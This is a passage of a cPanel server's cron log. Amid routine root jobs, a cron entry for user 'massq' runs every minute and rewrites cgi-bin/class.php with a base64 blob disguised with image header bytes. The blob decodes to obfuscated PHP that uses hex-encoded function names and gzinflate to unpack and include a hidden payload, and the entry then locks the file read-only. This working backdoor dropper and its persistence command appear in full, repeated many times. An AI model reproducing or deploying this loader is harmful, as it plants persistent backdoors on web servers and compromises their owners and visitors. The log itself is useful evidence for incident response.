RfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:58:01 server CROND[13157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:59:01 server CROND[13212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:00:01 server CROND[13270]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 09:00:01 server CROND[13271]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 09:00:01 server CROND[13273]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 09:00:01 server CROND[13275]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Apr 12 09:00:01 server CROND[13274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:01:01 server CROND[13391]: (root) CMD (run-parts /etc/cron.hourly)
Apr 12 09:01:01 server CROND[13392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:01:01 server run-parts(/etc/cron.hourly)[13391]: starting 0anacron
Apr 12 09:01:01 server run-parts(/etc/cron.hourly)[13404]: finished 0anacron
Apr 12 09:02:01 server CROND[13455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:03:01 server CROND[13506]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:04:01 server CROND[13677]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:05:01 server CROND[13731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:05:01 server CROND[13732]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 09:05:01 server CROND[13733]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 09:05:01 server CROND[13734]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 09:06:01 server CROND[13869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:07:01 server CROND[13911]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:08:01 server CROND[13959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:09:01 server CROND[14190]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 09:09:01 server CROND[14191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:10:01 server CROND[14246]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 09:10:01 server CROND[14247]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 09:10:01 server CROND[14248]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 09:10:01 server CROND[14249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
